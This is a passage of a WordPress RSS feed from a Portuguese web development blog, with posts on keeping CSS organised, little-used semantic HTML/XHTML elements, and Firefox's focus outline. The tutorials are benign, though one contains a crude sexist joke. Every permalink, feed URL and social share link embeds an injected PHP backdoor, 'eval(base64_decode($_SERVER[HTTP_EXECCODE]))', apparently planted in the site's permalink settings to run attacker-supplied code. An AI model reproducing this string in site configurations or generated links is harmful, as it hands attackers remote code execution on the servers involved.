Posts Relacionados:<ol><li><a href='http://3folks.com/notfordummies/2009/04/03/cada-um-no-seu-quadrado/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/' rel='bookmark' title='Permanent Link: Cada um no seu quadrado'>Cada um no seu quadrado</a></li><li><a href='http://3folks.com/notfordummies/2009/03/31/use-a-cabeca-head-first-html-com-css-xhtml/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/' rel='bookmark' title='Permanent Link: Use a Cabeça! (Head First) HTML com CSS &#038; XHTML'>Use a Cabeça! (Head First) HTML com CSS &#038; XHTML</a></li></ol>]]></description>
			<content:encoded><![CDATA[<p>Uma coisa que eu costumava fazer bastante há alguns anos atrás era subestimar o meu <strong>código CSS</strong>. Sempre começava a escrever achando que ia ser uma coisa pequena e simples, e aí quando me dava conta eu tinha um código de centenas de linhas, confuso, e impossível de achar alguma coisa sem Ctrl + F.</p>
<p>Então eu desenvolvi <strong>5 regrinhas</strong> que ajudaram meu <strong>CSS </strong>a ficar mais organizado, e mais fácil de mexer.</p>
<h3>1- Usar um CSS Reset</h3>
<p><strong>CSS Reset</strong> é como tomar uma droga bem forte. Quem nunca usou acha que não é algo útil, ou até ruim. Mas depois que você experimenta não quer mais voltar atrás e ainda tenta convencer os outros a usarem também.</p>
<p>Apesar dos navegadores terem um ótimo suporte ao <strong>CSS</strong>, muitos deles tem padrões diferentes. Se você não definiu uma coisa, ela é exibida com o padrão do navegador, e isso pode fazer o seu site ficar com caras diferentes de acordo com o navegador do usuário.</p>
<p>O <strong>CSS Reset</strong> pega uma grande parte dos elementos visuais e padroniza eles, geralmente zerando ou definindo um novo padrão. Ele tira as bordas, as margens, os paddings, padroniza o tamanho da fonte, etc. A partir daí, você sabe que as coisas vão ficar mais certinhas em todos os navegadores e não vai ter nenhuma surpresa desagradável.</p>
<p>Recomendo <a title="Eric Meyer Reset" href="http://meyerweb.com/eric/tools/css/reset/index.html"><strong>Eric Meyer Reset</strong></a>, ou o fantástico <a title="YUI Reset" href="http://developer.yahoo.com/yui/reset/"><strong>YUI Reset</strong></a>.</p>
<p><span id="more-37"></span></p>
<h3>2- Colocar em ordem alfabética</h3>
<p>Sabe quando você tem aquele elemento no <strong>CSS </strong>que tem uns 12 parâmetros ou mais? Aí você precisa editar a margem, passa o olho rápido pela lista de parâmetros e não encontra. Cadê a margem que estava aqui? Tá ali bem na sua frente, mas tem que olhar umas 3 vezes pra achar. É um saco.</p>
<p>Eu passei então a organizar meus parâmetros do <strong>CSS </strong>em <strong>ordem alfabética</strong>, e fez uma grande diferença. Eu sempre sei que a <em>border</em> vai estar perto do começo, e que a <em>margin</em> vai estar ali perto do meio, perto do <em>padding</em>.</p>
<h3>3- Separar os trechos de códigos em categorias</h3>
<p>Quando o <strong>CSS </strong>fica realmente grande, o jeito mais fácil de organizar o código é usando comentários pra criar uma separação visual.</p>
<pre name="code" class="css">/* ------------------------------------------- */
/* ---------- MENU LATERAL ------------------- */
/* ------------------------------------------- */
elemento {
    color: #000;
    background: #FFF;
    outros códigos...
}
elemento a {...}
elemento img {...}

/* ------------------------------------------- */
/* ---------- RODAPÉ ------------------------- */
/* ------------------------------------------- */

div#footer {...}
div img {...}</pre>
<p>Fica ainda mais organizado se as categorias estiverem numa ordem lógica, indo dos elementos mais genéricos pros mais específicos.</p>
<h3>4- Colocar seu esquema de cores como comentário  no topo</h3>
<p>Geralmente no site você tem umas poucas cores selecionadas pra usar. O que acontecia muito comigo era toda hora ter que parar pra procurar qual era mesmo o código daquele azul do título, ou o código do vermelho da borda do rodapé.</p>
<p>Uma <strong>solução simples</strong> passou a me poupar muito tempo.</p>
<p>Eu passei a colocar um comentário no topo do <strong>CSS</strong>, indicando os códigos das cores do meu site.</p>
<pre name="code" class="css">/* ---------- CORES ------------------------- */
/*
    Azul Claro: #A8EFEE;
    Marrom Escuro: #473B38;
    Rosa Clodovil: #FF4095;
    Amarelo Urina: #F2D843;
*/</pre>
<h3>5 &#8211; Não usar o parâmetro <em>important!</em></h3>
<p>O <strong>CSS </strong>tem o recurso <strong><em>important!</em></strong> que serve para definir uma regra como prioridade máxima, insubstituível. E isso atrapalha demais. Se você definiu, por exemplo, a cor da fonte como <em>!important</em>, não tem nada que você possa fazer no <strong>CSS</strong> pra definir outra cor de fonte. Na verdade, <strong>nem por javascript</strong> você conseguirá mudar a cor da fonte. O <em>important!</em> sempre tem prioridade máxima.</p>
<p>Acontece que no fim das contas isso sempre acaba atrapalhando no futuro. Mesmo que a versão inicial do layout saia legal, mais cedo ou mais tarde você vai precisar editar o seu site e aquele <em>important!</em> perdido lá vai te dar dor de cabeça.</p>
<p>Se você usou esse recurso no seu <strong>CSS</strong>, é porque <strong>algo não está certo</strong>. Dá pra organizar todo o seu site sem ter que usar isso, e é bom se planejar para isso desde o começo.</p>
<p><strong>Usar !important no CSS é como casar com mulher promíscua</strong>. Você pode não ter tido nenhum problema até agora, mas é só questão de tempo.</p>

<div class="sociable">
<div class="sociable_tagline">
<strong>Redes Sociais:</strong>
</div>
<ul>
	<li><a rel="nofollow" href="http://del.icio.us/post?url=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F24%2Forganizando-seu-codigo-css%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;title=Organizando%20seu%20c%C3%B3digo%20CSS" title="del.icio.us"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/delicious.png" title="del.icio.us" alt="del.icio.us" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://twitter.com/home?status=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F24%2Forganizando-seu-codigo-css%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F" title="TwitThis"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/twitter.gif" title="TwitThis" alt="TwitThis" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F24%2Forganizando-seu-codigo-css%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;title=Organizando%20seu%20c%C3%B3digo%20CSS" title="Google"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/googlebookmark.png" title="Google" alt="Google" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="mailto:?subject=Organizando%20seu%20c%C3%B3digo%20CSS&amp;body=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F24%2Forganizando-seu-codigo-css%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F" title="E-mail this story to a friend!"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/email_link.png" title="E-mail this story to a friend!" alt="E-mail this story to a friend!" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.syxt.com.br/rec6/link.php?url=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F24%2Forganizando-seu-codigo-css%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;=Organizando%20seu%20c%C3%B3digo%20CSS" title="Rec6"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/rec6.gif" title="Rec6" alt="Rec6" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.stumbleupon.com/submit?url=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F24%2Forganizando-seu-codigo-css%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;title=Organizando%20seu%20c%C3%B3digo%20CSS" title="StumbleUpon"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/stumbleupon.png" title="StumbleUpon" alt="StumbleUpon" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://technorati.com/faves?add=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F24%2Forganizando-seu-codigo-css%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F" title="Technorati"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/technorati.png" title="Technorati" alt="Technorati" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F24%2Forganizando-seu-codigo-css%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;title=Organizando%20seu%20c%C3%B3digo%20CSS&amp;source=Not+For+Dummies+Al%C3%A9m+do+Hello+World&amp;summary=Uma%20coisa%20que%20eu%20costumava%20fazer%20bastante%20h%C3%A1%20alguns%20anos%20atr%C3%A1s%20era%20subestimar%20o%20meu%20c%C3%B3digo%20CSS.%20Sempre%20come%C3%A7ava%20a%20escrever%20achando%20que%20ia%20ser%20uma%20coisa%20pequena%20e%20simples%2C%20e%20a%C3%AD%20quando%20me%20dava%20conta%20eu%20tinha%20um%20c%C3%B3digo%20de%20centenas%20de%20linhas%2C%20confu" title="LinkedIn"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.facebook.com/share.php?u=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F24%2Forganizando-seu-codigo-css%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;t=Organizando%20seu%20c%C3%B3digo%20CSS" title="Facebook"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="https://favorites.live.com/quickadd.aspx?marklet=1&amp;url=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F24%2Forganizando-seu-codigo-css%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;title=Organizando%20seu%20c%C3%B3digo%20CSS" title="Live"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/live.png" title="Live" alt="Live" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.myspace.com/Modules/PostTo/Pages/?u=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F24%2Forganizando-seu-codigo-css%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;t=Organizando%20seu%20c%C3%B3digo%20CSS" title="MySpace"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/myspace.png" title="MySpace" alt="MySpace" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.tumblr.com/share?v=3&amp;u=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F24%2Forganizando-seu-codigo-css%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;t=Organizando%20seu%20c%C3%B3digo%20CSS&amp;s=" title="Tumblr"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/tumblr.gif" title="Tumblr" alt="Tumblr" class="sociable-hovers" /></a></li>
</ul>
</div>


<p>Posts Relacionados:<ol><li><a href='http://3folks.com/notfordummies/2009/04/03/cada-um-no-seu-quadrado/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/' rel='bookmark' title='Permanent Link: Cada um no seu quadrado'>Cada um no seu quadrado</a></li><li><a href='http://3folks.com/notfordummies/2009/03/31/use-a-cabeca-head-first-html-com-css-xhtml/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/' rel='bookmark' title='Permanent Link: Use a Cabeça! (Head First) HTML com CSS &#038; XHTML'>Use a Cabeça! (Head First) HTML com CSS &#038; XHTML</a></li></ol></p>]]></content:encoded>
			<wfw:commentRss>http://3folks.com/notfordummies/2009/03/24/organizando-seu-codigo-css/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Os Elementos Perdidos do HTML/XHTML</title>
		<link>http://3folks.com/notfordummies/2009/03/20/os-elementos-perdidos-do-htmlx-html/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://3folks.com/notfordummies/2009/03/20/os-elementos-perdidos-do-htmlx-html/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Fri, 20 Mar 2009 15:38:02 +0000</pubDate>
		<dc:creator>elomarns</dc:creator>
				<category><![CDATA[Web Design]]></category>
		<category><![CDATA[elementos]]></category>
		<category><![CDATA[html]]></category>
		<category><![CDATA[semântica]]></category>
		<category><![CDATA[xhtml]]></category>

		<guid isPermaLink="false">http://3folks.com/notfordummies/?p=60</guid>
		<description><![CDATA[Se você é um desenvolvedor Web que faz o seu dever de casa, já deve estar cansado de saber que o HTML/XHTML serve para estruturar o conteúdo de uma página Web. Sendo assim, você usa elementos como p para parágrafos, h1, h2, h3, h4, h5 e h6 para títulos, ol para listas ordenadas, entre outros [...]


No related posts.]]></description>
			<content:encoded><![CDATA[<p style="text-align:justify">Se você é um desenvolvedor Web que faz o seu dever de casa, já deve estar cansado de saber que <strong>o HTML/XHTML serve para estruturar o conteúdo de uma página Web</strong>. Sendo assim, você usa elementos como <em>p</em> para parágrafos,<em> h1</em>, <em>h2</em>, <em>h3</em>, <em>h4</em>, <em>h5</em> e<em> h6</em> para títulos, <em>ol</em> para listas ordenadas, entre outros igualmente populares. No entanto, existem alguns outros elementos com tanto valor semântico quanto estes, mas que são bem menos conhecidos. Veja alguns destes abaixo:</p>
<h3>address</h3>
<p style="text-align:justify">O elemento <em>address</em> define um conteúdo como uma informação de contato do autor ou dono da página Web.</p>
<pre name="code" class="xhtml">
<address>
  Avenida Expedicionário José Amáro, número 500, Apartamento 13, Vila São Luís,
  Duque de Caxias/RJ.
</address>
</pre>
<h3>del</h3>
<p style="text-align:justify">Tem a função de marcar um texto que foi removido da página.</p>
<pre name="code" class="xhtml">
&lt;p&gt;
  O Jogo Final Fantasy XIII é a continuação da famosa saga de RPG da Square
  <del>,sendo o seu lançamento exclusivo para o Playstation 3</del>.
&lt;/p&gt;

</pre>
<h3>ins</h3>
<p style="text-align:justify">Especifica um texto que foi inserido no documento, sendo muitas vezes usado em conjunto com o elemento <em>del</em>, como forma de corrigir uma informação anterior.</p>
<pre name="code" class="xhtml">
  &lt;p&gt;
    A atual versão do Rails é a <del>2.2</del><ins>2.3.2</ins>.
  &lt;/p&gt;
</pre>
<h3>abbr</h3>
<p style="text-align:justify">O elemento <em>abbr</em> serve para marcar um texto que é a forma abreviada de uma frase ou de uma expressão composta, ou seja, ele marca abreviações. Adicionalmente, é bom utilizar o atributo <em>title</em> neste elemento para especificar a palavra ou frase inteira que está sendo abreviada. Além disso, é válido mencionar que este elemento não é suportado pelo Internet Explorer 6.</p>
<pre name="code" class="xhtml">
  &lt;p&gt;
    O &lt;abbr title = "EXtensible HyperText Markup Language"&gt;XHTML&lt;/abbr&gt; deve ser
    usado para estruturar o conteúdo.
  &lt;/p&gt;
</pre>
<h3>acronym</h3>
<p style="text-align:justify">Este elemento tem a função semântica de identificar acrônimos, que são um tipo especial de abreviação, onde cada letra do acrônimo corresponde à primeira letra de uma das palavras da expressão ou frase abreviada.</p>
<pre name="code" class="xhtml">
&lt;p&gt;
  Para definir a apresentação de uma página Web você deve usar o
  &lt;acronym title = "Cascading Style Sheets"&gt;CSS&lt;/acronym&gt;.
&lt;/p&gt;
</pre>
<h3>cite</h3>
<p style="text-align:justify">Define o autor ou a fonte de uma citação, podendo, e devendo, ser usado em conjunto comos elemento <em>q</em> e <em>blockquote</em>, que identificam a citação em si.</p>
<pre name="code" class="xhtml">
&lt;p&gt;
  Conforme <cite>Martin Fowler</cite> disse:
&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;
    Any fool can write code that a computer can understand.
    Good programmers write code that humans can understand.
  &lt;/p&gt;
&lt;/blockquote&gt;
</pre>
<h3>dl, dt e dd</h3>
<p style="text-align:justify">Estes elementos são usados para criar listas de definição em uma página Web, sendo muito usados, por exemplo, para a criação de FAQs. O elemento <em>dl</em> representa a lista em si, enquanto os elementos <em>dt</em> e <em>dd</em> representam o termo a ser definido e a sua definição, respectivamente.</p>
<pre name="code" class="xhtml">
&lt;dl&gt;
  &lt;dt&gt;Ruby&lt;/dt&gt;
  &lt;dd&gt;Linguagem de script orientada a objetos e criada por Yukihiro Matsumoto.&lt;/dd&gt;

  &lt;dt&gt;Ruby on Rails&lt;/dt&gt;
  &lt;dd&gt;Framework Web desenvolvido com a linguagem de programação Ruby&lt;/dd&gt;

  &lt;dt&gt;ActiveRecord&lt;/dt&gt;
  &lt;dd&gt;Um dos principais sub-frameworks do Ruby on Rails&lt;/dd&gt;
&lt;/dl&gt;
</pre>
<h3>dfn</h3>
<p style="text-align:justify">O elemento <em>dfn</em> é utilizado para marcar um termo que está sendo definido, sendo que pode-se usar o atributo <em>title</em> para resumir a sua definição. A diferença entre o <em>dfn</em> e uma lista de definição, é que o primeiro é utilizado para marcar uma definição isolada no texto, enquanto o segundo agrupa várias definições em uma lista.</p>
<pre name="code" class="xhtml">
&lt;p&gt;
  O &lt;dfn title = "Framework Ruby"&gt;Merb&lt;/df&gt; é um framework Web escrito em Ruby.
&lt;/p&gt;
</pre>
<h3>Conclusão</h3>
<p style="text-align:justify">Existem muitos elementos no XHTML/HTML além daqueles que são amplamente conhecidos, e uma vez que estes elementos adicionais são mais precisos quanto à <strong>semântica</strong> do seu conteúdo, não há porquê não usá-los. Dessa forma, suas páginas Web ficarão mais corretas semanticamente, o que significa uma maior <strong>acessibilidade</strong>.</p>
<p style="text-align:justify">Além disso, não se limite aos elementos extras mostrados aqui, uma vez que a idéia deste post era apenas mostrar através de exemplos que quase sempre há um elemento mais preciso para marcar o seu conteúdo. Portanto, quando tiver dúvidas se está usando o elemento correto em sua página Web, pesquise pare descobrir se não há uma opção mais adequada.</p>
<p style="text-align:justify">Por fim, embora alguns destes elementos possuam um estilo padrão definido pelo browser, a regra de ouro continua valendo, ou seja, <strong>para definir a apresentação deles você deve usar o CSS</strong>.</p>

<div class="sociable">
<div class="sociable_tagline">
<strong>Redes Sociais:</strong>
</div>
<ul>
	<li><a rel="nofollow" href="http://del.icio.us/post?url=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F20%2Fos-elementos-perdidos-do-htmlx-html%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;title=Os%20Elementos%20Perdidos%20do%20HTML%2FXHTML" title="del.icio.us"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/delicious.png" title="del.icio.us" alt="del.icio.us" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://twitter.com/home?status=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F20%2Fos-elementos-perdidos-do-htmlx-html%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F" title="TwitThis"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/twitter.gif" title="TwitThis" alt="TwitThis" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.google.com/bookmarks/mark?op=edit&amp;bkmk=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F20%2Fos-elementos-perdidos-do-htmlx-html%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;title=Os%20Elementos%20Perdidos%20do%20HTML%2FXHTML" title="Google"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/googlebookmark.png" title="Google" alt="Google" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="mailto:?subject=Os%20Elementos%20Perdidos%20do%20HTML%2FXHTML&amp;body=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F20%2Fos-elementos-perdidos-do-htmlx-html%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F" title="E-mail this story to a friend!"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/email_link.png" title="E-mail this story to a friend!" alt="E-mail this story to a friend!" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.syxt.com.br/rec6/link.php?url=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F20%2Fos-elementos-perdidos-do-htmlx-html%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;=Os%20Elementos%20Perdidos%20do%20HTML%2FXHTML" title="Rec6"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/rec6.gif" title="Rec6" alt="Rec6" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.stumbleupon.com/submit?url=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F20%2Fos-elementos-perdidos-do-htmlx-html%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;title=Os%20Elementos%20Perdidos%20do%20HTML%2FXHTML" title="StumbleUpon"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/stumbleupon.png" title="StumbleUpon" alt="StumbleUpon" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://technorati.com/faves?add=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F20%2Fos-elementos-perdidos-do-htmlx-html%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F" title="Technorati"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/technorati.png" title="Technorati" alt="Technorati" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.linkedin.com/shareArticle?mini=true&amp;url=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F20%2Fos-elementos-perdidos-do-htmlx-html%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;title=Os%20Elementos%20Perdidos%20do%20HTML%2FXHTML&amp;source=Not+For+Dummies+Al%C3%A9m+do+Hello+World&amp;summary=Se%20voc%C3%AA%20%C3%A9%20um%20desenvolvedor%20Web%20que%20faz%20o%20seu%20dever%20de%20casa%2C%20j%C3%A1%20deve%20estar%20cansado%20de%20saber%20que%20o%20HTML%2FXHTML%20serve%20para%20estruturar%20o%20conte%C3%BAdo%20de%20uma%20p%C3%A1gina%20Web.%20Sendo%20assim%2C%20voc%C3%AA%20usa%20elementos%20como%20p%20para%20par%C3%A1grafos%2C%20h1%2C%20h2%2C%20h3%2C%20h4%2C%20h5%20e%20h6%20par" title="LinkedIn"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/linkedin.png" title="LinkedIn" alt="LinkedIn" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.facebook.com/share.php?u=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F20%2Fos-elementos-perdidos-do-htmlx-html%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;t=Os%20Elementos%20Perdidos%20do%20HTML%2FXHTML" title="Facebook"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/facebook.png" title="Facebook" alt="Facebook" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="https://favorites.live.com/quickadd.aspx?marklet=1&amp;url=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F20%2Fos-elementos-perdidos-do-htmlx-html%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;title=Os%20Elementos%20Perdidos%20do%20HTML%2FXHTML" title="Live"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/live.png" title="Live" alt="Live" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.myspace.com/Modules/PostTo/Pages/?u=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F20%2Fos-elementos-perdidos-do-htmlx-html%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;t=Os%20Elementos%20Perdidos%20do%20HTML%2FXHTML" title="MySpace"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/myspace.png" title="MySpace" alt="MySpace" class="sociable-hovers" /></a></li>
	<li><a rel="nofollow" href="http://www.tumblr.com/share?v=3&amp;u=http%3A%2F%2F3folks.com%2Fnotfordummies%2F2009%2F03%2F20%2Fos-elementos-perdidos-do-htmlx-html%2F%25%26%28%7B%24%7Beval%28base64_decode%28%24_SERVER%5BHTTP_EXECCODE%5D%29%29%7D%7D%7C.%2B%29%26%25%2F&amp;t=Os%20Elementos%20Perdidos%20do%20HTML%2FXHTML&amp;s=" title="Tumblr"><img src="http://3folks.com/notfordummies/wp-content/plugins/sociable/images/tumblr.gif" title="Tumblr" alt="Tumblr" class="sociable-hovers" /></a></li>
</ul>
</div>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://3folks.com/notfordummies/2009/03/20/os-elementos-perdidos-do-htmlx-html/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>A maldição do outline no firefox</title>
		<link>http://3folks.com/notfordummies/2009/03/19/a-maldicao-do-outline-no-firefox/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/</link>
		<comments>http://3folks.com/notfordummies/2009/03/19/a-maldicao-do-outline-no-firefox/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/#comments</comments>
		<pubDate>Thu, 19 Mar 2009 12:02:40 +0000</pubDate>
		<dc:creator>Leonardo Bighi</dc:creator>
				<category><![CDATA[Web Design]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[outline]]></category>
		<category><![CDATA[usabilidade]]></category>

		<guid isPermaLink="false">http://3folks.com/notfordummies/?p=4</guid>
		<description><![CDATA[O Firefox é um navegador muito bacana, muito legal. Eu o respeito muito por ser o principal responsável por roubar fatia de mercado do Internet Explorer. Mas tem uma coisa que me irrita muito nele: o outline obrigatório que ele coloca nos links e botões.
Veja a imagem acima. Se você usa o Firefox, com certeza [...]


No related posts.]]></description>
			<content:encoded><![CDATA[<p>O <strong>Firefox</strong> é um navegador muito bacana, muito legal. Eu o respeito muito por ser o principal responsável por roubar fatia de mercado do Internet Explorer. Mas tem uma coisa que me irrita muito nele: o <strong>outline obrigatório</strong> que ele coloca nos links e botões.</p>
<div id="attachment_7" class="wp-caption aligncenter" style="width: 216px"><img class="size-full wp-image-7" title="Outline no Firefox" src="http://3folks.com/notfordummies/wp-content/uploads/2009/03/outline_firefox.jpg" alt="A maldição do outline no firefox" width="206" height="89" /><p class="wp-caption-text">A maldição do outline no firefox</p></div>
<p>Veja a imagem acima. Se você usa o <strong>Firefox</strong>, com certeza já viu esse pontilhado ao redor de algum botão. Sabe por que eu o odeio? Porque ele é obrigatório. Não dá pra tirar. Na verdade, até dá pra tirar o <strong>outline</strong> dos links, mas caso use &lt;input type=&#8221;submit&#8221;&gt; ou &lt;button&gt; o seu botão vai ter o pontilhado ao redor e não tem <strong>nada </strong>que você possa fazer.</p>
<p>Só pra constar: <strong>Esse outline no firefox não é um bug</strong>! Esse marcador é colocado ao redor dos elementos por motivos de usabilidade. A idéia é sempre indicar visualmente onde está o foco. Aí o problema vem quando eu mesmo quero implementar uma forma diferente de indicar o foco, porque ele me obriga a continuar com o <strong>outline</strong>.</p>
